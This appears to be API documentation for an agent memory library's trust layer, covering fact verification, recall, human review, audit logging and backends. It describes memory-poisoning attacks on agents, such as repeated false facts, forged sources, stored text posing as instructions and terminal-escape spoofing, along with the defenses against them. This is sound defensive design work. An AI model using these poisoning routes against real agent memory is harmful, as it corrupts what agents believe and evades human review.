  • a changed value supersedes the old one (a queryable correction chain, not a silent overwrite),
  • a fact graduates CANDIDATE → VERIFIED only when independent sources corroborate it (≥ min_sources distinct provenance) OR a supplied attestation verifies it.

So a one-off fact — and, crucially, a fact a single attacker repeats — stays CANDIDATE: trust requires INDEPENDENT corroboration, not raw confidence, so one author can't promote a lie by saying it N times (round-5 security cadence, finding F1). That's the difference from extract-and-believe memory: extracted, but verified before trusted.

remember_conversation

remember_conversation(mem: MemoryView, transcript: object, *, scope: str, chat: ChatFn, source: str = '', now: float = 0.0, min_sources: int = MIN_SOURCES, attest: Attestor | None = None, authenticate: Authenticator | None = None) -> RememberResult

Extract candidate facts from a conversation and let only GRADED facts compound into mem.

A fact graduates CANDIDATE → VERIFIED ONLY when: * attest verifies it (a signed receipt / held-out eval — the primary path), OR * authenticate is supplied AND ≥ min_sources distinct authenticated principals corroborate it. Raw source strings are self-asserted, so without an authenticator corroboration NEVER promotes — a single caller can't forge VERIFIED by minting two source labels (round-5 F1).

Corroboration still raises confidence (a ranking signal) via write; it just doesn't grant the trust tier on its own. A reserved key (is_reserved_key) or a collision with a server-managed non-FACT record (a SKILL/AuthorTrust/rule) is refused — an untrusted transcript can't touch control state (round-5 lens-3 F1). A REJECTED fact is not re-promotable by corroboration.

recall

Token-budgeted recall (MEMORY-EXTRACTION-KICKOFF.md, Phase 3).

Closes the "keep the prompt small" gap (the Engram-style win) — and does it graded-first. Returns the highest-value scoped memories that fit a token budget, ranked by the documented view.rank (relevance + retrieval strength + confidence + a small trust term), so under pressure a VERIFIED fact beats an equally-relevant CANDIDATE and a poisoned candidate can't crowd out a verified one.

Pure + dependency-free: the token estimator is injectable (token_count), defaulting to a ~4-chars/ token heuristic so it works with zero deps; pass tiktoken-backed counting for exactness.

BudgetedRecall dataclass

text property
text: str

The minimal context block, ready to drop into a prompt — fenced as untrusted DATA so a stored fact can't be read as an instruction (round-5 F7). Appends a one-line tail note when memories were dropped, so the agent knows the recall was budget-limited (not exhaustive).

recall_as_of

recall_as_of(mem: MemoryView, query: str, *, as_of: float, scope: str | None = None, kind: MemoryKind | None = None, k: int = 5) -> list[MemoryRecord]

Bi-temporal recall — "what did we believe about this at wall-clock time as_of?"

For each key, reconstruct the value whose VALID interval [valid_from, valid_to) contained as_of (the current value, or a superseded one recovered from the correction chain via value_as_of), rank the reconstructed values by relevance to query, and return the top-k. The killer case is a fact that legitimately CHANGED over time (e.g. "region = us-east" until June, "us-west" after): an as-of March query returns the value that was actually true then, not today's.

Deliberate properties: - Read-only time travel: does NOT reinforce retrieval_strength (it isn't "using" the memory now) and does NOT mutate anything. - Never surfaces an ever-rejected value — the reconstructed value is checked with the ledger-aware is_launder_blocked (not just "is the CURRENT record rejected"), so a value graded false and then superseded by a benign correction can't be resurfaced from the chain by a historical query (round-15/F1). The legitimate changed-over-time case never involves rejection, so this costs nothing there; the full superseded history remains inspectable via the chain / audit for review. - O(n) scan over the scoped records: as-of is an analytical query, not the hot path, so matching against the reconstructed (possibly historical) text — which a BM25 index over CURRENT text can't do — is worth the scan.

Returns raw MemoryRecords (like recall, not the fenced recall_budgeted.text): a caller that drops as-of results into a prompt must fence them as untrusted DATA exactly as it would recall output.

recall_budgeted

recall_budgeted(mem: MemoryView, query: str, *, token_budget: int, scope: str | None = None, kind: MemoryKind | None = None, k: int = 50, token_count: TokenCount | None = None, now: float = 0.0) -> BudgetedRecall

Return the best scoped memories for query that fit token_budget, verified-first, plus the tokens used and the number dropped.

Fills greedily in view.rank order and never exceeds the budget — except it always returns at least the single highest-ranked memory, so recall is never empty when a relevant memory exists (a one-line fact is worth more than an empty context, even under a sub-fact budget).

Operator review — the human-in-the-loop path

List the CANDIDATE queue, approve to VERIFIED on human authority, or reject into a durable tombstone — with laundering refused fail-closed and terminal-safe rendering. Surfaced as verel memory.

review

Operator review — the human-in-the-loop workflow that resolves CANDIDATE facts.

A fact enters memory as CANDIDATE and normally earns VERIFIED through the attested promotion gate (promotion.py) or multi-principal corroboration (remember.py). This module adds the third path the trust model names but never surfaced: a HUMAN reviews the pending candidates and decides.

Deliberate security posture: - CLI-only by design. Review is exposed via verel memory ... (a human at a terminal), NOT over MCP — an agent must never be able to approve its own candidate facts. The agent-facing surface (verel_remember/verel_recall) stays read/write of candidates only. - Approve never launders. approve() refuses a REJECTED record: the rejected-value ledger exists precisely so a once-rejected value can't come back; a human wanting to resurrect one must write it as a NEW fact and let the gate see the ledger. - Reject rides the existing tombstone path. reject() drives the backend's own contradict → REJECTED transition (ec floor + rejected_values ledger), so the durable anti-laundering behaviour is identical across every backend — no second rejection mechanism to drift. - Terminal-safe rendering. Everything shown to the operator passes view.canonical_text, so a stored fact can't smuggle ANSI/control/zero-width sequences into the review terminal and spoof what is being approved.

RejectedApprovalError

Bases: ValueError

Raised when approve() is asked to promote a REJECTED record (anti-laundering, round-7 C1).

pending

pending(mem: MemoryView, *, scope: str | None = None, kind: MemoryKind | None = None, limit: int = 50) -> list[MemoryRecord]

CANDIDATE facts awaiting review — most-corroborated first, then oldest first.

Ordering is a review queue, not a ranking: high-support candidates are the ones agents keep re-asserting (decide them first); ties go to the oldest so nothing starves at the tail.

approve

approve(mem: MemoryView, record_id: str, *, reviewed_by: str) -> MemoryRecord | None

Promote a CANDIDATE to VERIFIED on human authority, recording who and when.

Returns the updated record, or None when record_id doesn't exist. Raises RejectedApprovalError for a REJECTED record — approval must not bypass the rejected-value ledger (write the value as a new fact instead; the promotion gate consults the ledger).

reject

reject(mem: MemoryView, record_id: str, *, reviewed_by: str, reason: str = '') -> MemoryRecord | None

Reject a fact on human authority — a durable tombstone, invisible to recall from now on.

Uses the backend's own contradict → REJECTED path (delta=1.0 floors epistemic_confidence), so the rejected_values anti-laundering ledger is populated exactly as an evidence-driven rejection would. Returns the updated record, or None when it doesn't exist.

render_line

render_line(r: MemoryRecord, *, width: int = 100) -> str

One terminal-safe line per record for the review listing. All record-derived fields pass canonical_text (ANSI/control/zero-width stripped) so stored content can't forge terminal output; the line is truncated to width.

render_record

render_record(r: MemoryRecord) -> str

Multi-line terminal-safe detail view: the record, its correction chain, review metadata and the rejected-value ledger — what an operator needs to decide, nothing raw.

Mutation audit — who changed what, when

AuditedMemory wraps any backend and appends every trust-layer mutation ({actor, action, before, after}) to a hash-chained, tamper-evident JSONL log.

audit

Memory mutation audit — a hash-chained, append-only log of every trust-layer mutation.

Closes the "mutation audit" gap: correction chains (view.py corrections) preserve WHAT a record used to say, but not WHO/WHAT changed it. MemoryAudit records every mutation as {seq, ts, actor, action, record_id, before, after}, hash-chained (each entry commits to its predecessor via SHA-256) so in-place tampering is detectable — a lighter cousin of the WORM discipline in verel.verdict.store.ReceiptStore, applied to memory.

AuditedMemory wraps ANY MemoryView backend (local/postgres/lancedb/redis/mem0/remote) and logs mutations at the Protocol seam, so no backend needs changes and every backend gets the same audit.

Honest scope of the tamper-evidence (it is NOT a signed log like verel.verdict.ReceiptStore): verify() detects in-place edits (any altered field breaks that entry's hash) and middle deletions / torn writes (a broken prev_hash link or an unparseable line). It does NOT detect tail truncation (dropping the last N entries leaves a still-consistent prefix) or a full re-forge by an attacker who can rewrite the whole file (no external signed head to anchor against). This is a local integrity log — an attacker with write access to it already has write access to the brain store itself — so this is defense-in-depth, not a trust boundary. For a signed, WORM receipt chain use ReceiptStore.

What is (and isn't) audited — a deliberate line: - Audited: write, apply_replica, corroborate, contradict, promote, demote, annotate, set_flags, pin, unpin, decay — everything that moves belief, trust, or lifecycle. - NOT audited: recall's retrieval_strength reinforcement. That is reachability bookkeeping (the testing effect), not a belief mutation — logging every recall would flood the log and let a hostile query stream inflate it (an amplification the v1.3.0 cadence closed for writes).

Entry fields are BOUNDED (actor/action/record_id truncated; before/after snapshots carry a canonical_text 120-char preview + counters, never the raw value) so attacker-length fact text cannot bloat one entry. Appends are plain JSONL a-mode writes: a torn line does not corrupt prior entries and is DETECTED by verify() (fail-visible, like ReceiptStore). Multi-process appenders can fork the chain; ordering is best-effort but in-place edits to any committed entry stay detectable.

MemoryAudit

Append-only, hash-chained JSONL audit log for memory mutations.

from_env classmethod
from_env() -> MemoryAudit

Resolve the audit path — the chain FOLLOWS THE STORE, so a temp/test store cannot pollute the operator's real audit history with events for records that store never held:

  1. VEREL_MEMORY_AUDIT — explicit path, always wins.
  2. local backend with a non-default VEREL_MEMORY_STORE file path — a sidecar <store>.audit.jsonl next to that db (each store gets its own chain).
  3. else — the global $XDG_CONFIG_HOME/verel/memory_audit.jsonl (default ~/.config), unchanged for the default brain and for non-file backends. (:memory: also falls through: a fresh empty store offers the CLI nothing to mutate, so nothing is logged.)
append
append(*, actor: str, action: str, record_id: str, before: MemoryRecord | None = None, after: MemoryRecord | None = None, extra: dict | None = None, ts: float = 0.0) -> str

Append one mutation entry; returns its hash (the new chain head).

entries
entries(record_id: str | None = None) -> list[dict]

All (valid) entries, oldest first; filtered to one record when record_id is given.

verify
verify() -> tuple[bool, str]

Walk the log and verify every entry's hash + prev_hash linkage.

Returns (True, "ok") for an intact chain, else (False, reason). A torn/unparseable line or a broken link is a verification FAILURE — tampering and torn writes are fail-visible.

AuditedMemory

Bases: MemoryView

Wrap any MemoryView so every mutation is appended to a MemoryAudit with an actor.

Drop-in: satisfies the same Protocol, so anything that takes a MemoryView takes this. actor names the mutating principal (e.g. "cli:alice", "mcp:verel_remember", "loop").

Backends — local & hosted

The default zero-dependency SQLite store, plus the hosted brain: a MemoryServer over HTTP and a RemoteMemory client that implements the same MemoryView Protocol (see Memory backends).

local

LocalMemory — a zero-dependency SQLite MemoryView (default backend).

Implements the full trust layer (§5): split epistemic_confidence vs retrieval_strength, the interference rule (subj_pred_key supersede), the documented ranking, power-law decay, and the exact prune rule. Recall is FTS5 BM25 lexical search (v1.3.0) re-ranked by the trust-aware rank; pass an embedder for semantic (cosine) recall behind the same interface.

mem0 is the rentable alternative behind the SAME MemoryView Protocol (see view.py); swap it in without touching the failure-ledger, consolidation, or the loop.

LocalMemory

Bases: MemoryView

from_env classmethod
from_env() -> LocalMemory

Construct from operator env (the registry entry point for VEREL_MEMORY_BACKEND=local).

Path: VEREL_MEMORY_STORE else $XDG_CONFIG_HOME/verel/brain.db (default ~/.config). Embedder: the shared embedder_from_env() (None by default → lexical recall, unchanged).

write
write(record: MemoryRecord, *, ts: float = 0.0) -> MemoryRecord

Write with the interference rule: same (subject, predicate, scope) supersedes, accumulating support_count and corroboration rather than duplicating.

apply_replica
apply_replica(record: MemoryRecord) -> MemoryRecord

Upsert a record VERBATIM (id + every field), with NO corroboration/supersede — for replication and catch-up sync, so a follower mirrors the leader's state exactly and re-delivery is idempotent.

annotate
annotate(record_id: str, **detail) -> MemoryRecord | None

Merge detail into a record WITHOUT touching trust/confidence/support — audit metadata (e.g. a counterexample list), never a corroboration.

set_flags
set_flags(record_id: str, *, pinned=None, volatile=None, ttl_s=None)

Set lifecycle flags directly (no corroboration side effect).

decay
decay(*, half_life_s: float = 604800.0, now: float = 0.0, stale_after_s: float = STALE_AFTER_S, volatile_ttl_s: float = VOLATILE_TTL_S) -> int

Decay retrieval_strength, expire TTL/volatile/stale records, then prune per §5. Pinned memories are exempt. Confidence is never touched. Returns #pruned.

hosted

Hosted shared memory (§5) — a MemoryView behind an HTTP API, so a FLEET shares one brain.

LocalMemory and mem0 are per-process. The shared team brain needs agents on different machines reading and writing one store. This wraps a durable MemoryView in a tiny, dependency-free HTTP service and ships a RemoteMemory client that implements the SAME MemoryView Protocol — so everything that takes a memory (recall, the scope lattice, consolidation, the promotion gate) works against the shared brain unchanged: lattice_recall(RemoteMemory(url), ...) just works.

The server is the single writer: every store access is serialized behind one lock, so the interference rule (a new value for the same (subject, predicate, scope) supersedes) stays correct under concurrent agents — no split-brain, because there is one authority. (Replicating the store across several authorities — and fencing between them — is the next hardening, mirroring the control plane.) Stdlib only; an optional bearer token gates access.

MemoryServer

A threaded HTTP front-end for a durable MemoryView. Pass a db_path (a LocalMemory is created, opened cross-thread + lock-serialized) or your own store. start() serves in a background thread; url is the base address; stop() shuts it down.

enroll
enroll(key_id: str, public_key_b64: str) -> None

Trust a principal's signed writes (operator action). Reflected immediately (shared dict).

RemoteMemory

A MemoryView over HTTP — point an agent at a MemoryServer and it shares the team brain. A drop-in for LocalMemory/mem0, so lattice_recall, graduate, consolidation, and the promotion gate all work against the shared store unchanged.

env_kwargs staticmethod
env_kwargs() -> dict

The connection kwargs from operator env — ONE source of truth for both the read brain and the authoring principal: bearer/cluster tokens, TLS server CA, mTLS client cert/key, cert pin (comma-separated → a set of allowed fingerprints), and the cleartext opt-out.

from_env classmethod
from_env() -> RemoteMemory

Construct from operator env (registry entry point for VEREL_MEMORY_BACKEND=remote, and the back-compat path when VEREL_BRAIN_URL is set). Fails closed without a brain URL.

remember_signed
remember_signed(principal, *, subject: str, predicate: str, scope: str, text: str, kind: MemoryKind = MemoryKind.FACT, evidence: dict | None = None, ts: float = 0.0) -> dict

Author a belief on the shared brain as an AUTHENTICATED principal: sign the claim with the principal's key; the server derives author from the verified key (forge-proof). Pass a fact-bound evidence attestation (a publicly-verifiable GateReceipt over this exact claim) to earn the cross-principal verified tier; without it the belief stays a candidate. Returns the server's authn result {authenticated, written, author, reverified, conflict, reason, record}.

ReplicaClient

A replication peer over HTTP — give a ReplicatedMemory these as peers to replicate to follower MemoryServers on other machines. replicate raises FencingError on a 409 so a deposed leader's in-flight write is rejected at the follower, exactly as in-process.

Failure ledger & regression report

Records gating failures so the fleet stops repeating mistakes; regression_report rolls the open failures into a single verdict.

failure_ledger

Failure ledger + regression guard (§7.5) — "the fleet stops repeating mistakes".

Every gating failure the verdict bus sees is written to long-term memory keyed by its scrubbed fingerprint. When the loop reaches PASS, those fingerprints are marked fixed. If a previously fixed fingerprint ever reappears, the regression guard recalls it from memory and emits a gating Report — so a reintroduced bug FAILS the gate on the strength of memory alone, not because someone remembered to re-add a test.

FailureLedger

record
record(report: Report, *, ts: float = 0.0, volatile_fingerprints: set[str] | None = None) -> list[str]

Persist every gating failure; reappearance of a fixed one flips it back to open.

volatile_fingerprints (e.g. ci-medic's transient/flaky classifications) are written volatile so they self-clean from failure-memory unless they RECUR — a recurrence re-asserts the same record, which confirms it (clears volatile) and keeps it. This is the anti-"junk drawer" behaviour the design's interference rule aims at.

check_regressions
check_regressions(report: Report) -> list[MemoryRecord]

Which gating fingerprints in report were previously marked fixed?

regression_report

regression_report(records: list[MemoryRecord]) -> Report

Turn recalled regressions into a CONTRACT-grader Report so memory gates the build.